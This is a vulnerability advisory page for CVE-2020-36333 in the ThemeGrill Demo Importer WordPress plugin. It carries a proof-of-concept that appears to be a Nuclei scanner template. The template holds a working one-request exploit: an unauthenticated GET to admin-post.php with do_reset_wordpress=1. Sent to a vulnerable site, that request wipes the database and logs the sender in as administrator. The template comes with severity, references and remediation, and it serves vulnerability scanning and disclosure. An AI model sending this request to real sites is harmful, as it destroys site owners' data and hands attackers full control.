CVE-2020-36333: ThemeGrill Demo Importer < 1.6.2 - Database Reset

2025-08-01 ThemeGrill Demo Importer PoC Public

Description

ThemeGrill Demo Importer before 1.6.2 does not require authentication for wiping the database due to a reset_wizard_actions hook. In versions 1.3.4 and above and versions 1.6.1 and below, there is a vulnerability that allows any unauthenticated user to wipe the entire database to its default state after which they are automatically logged in as an administrator.

PoC

id: CVE-2020-36333

info:
  name: ThemeGrill Demo Importer < 1.6.2 - Database Reset
  author: iamnoooob,pdresearch
  severity: critical
  description: |
    ThemeGrill Demo Importer before 1.6.2 does not require authentication for wiping the database due to a reset_wizard_actions hook. In versions 1.3.4 and above and versions 1.6.1 and below, there is a vulnerability that allows any unauthenticated user to wipe the entire database to its default state after which they are automatically logged in as an administrator.
  impact: |
    Unauthenticated attackers can wipe the entire WordPress database to its default state and gain automatic administrator access, resulting in complete site takeover and data loss.
  remediation: |
    Upgrade to ThemeGrill Demo Importer version 1.6.2 or later.
  reference:
    - https://www.openwall.com/lists/oss-security/2020/02/19/1
    - https://nvd.nist.gov/vuln/detail/CVE-2020-36333
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2020-36333
    cwe-id: CWE-285
    epss-score: 0.04105
    epss-percentile: 0.90245
  metadata:
    verified: true
    max-request: 1
    product: themegrill-demo-importer
    vendor: themegrill
    fofa-query: body="/plugins/themegrill-demo-importer"
  tags: cve,cve2020,wp,wordpress,wp-plugin,themegrill,vkev,vuln

http:
  - raw:
      - |+
        GET /wp-admin/admin-post.php?do_reset_wordpress=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'len(body)==0'
          - 'status_code == 302'
          - 'contains_all(header, "wordpress_logged_in_", "reset=true")'
        condition: and
# digest: 4a0a0047304502202c7e0a96cbbe0b1e64339674a496cf0d44c2c07c66c08f4687005a131294524102210084a0eed2c186dbebbbf29cc5aa239e2eac588d43f20149fb1cee3a077c64cb55:922c64590222798bb761d5b6d8e72950

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